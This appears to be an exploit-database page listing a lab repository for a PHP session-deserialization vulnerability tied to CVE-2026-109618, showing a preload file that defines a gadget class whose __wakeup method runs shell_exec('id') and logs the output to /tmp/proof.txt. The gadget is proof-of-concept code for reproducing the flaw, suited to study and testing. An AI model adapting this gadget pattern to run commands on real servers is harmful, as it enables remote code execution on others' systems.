Exploit databaseDownload repository ZIP
GH-5fe718cf5784393e6cb005d55c240342
thefool-tarot/php2shell-lab
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
thefool-tarot/php2shell-labRevision 1eb4da405937
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/preload.php
Suggested starting filePHP · 382 bytes<?php
/**
* 复现用 gadget:类必须在 preload 阶段就定义好。
* 启动期解码会话时,PHP 不会触发 autoload(实测),所以只装 composer 不够。
*/
class DemoGadget {
public $a;
public function __wakeup() {
@file_put_contents('/tmp/proof.txt',
"pid=" . getmypid() . "\n" . @shell_exec('id') . "\n", FILE_APPEND);
}
}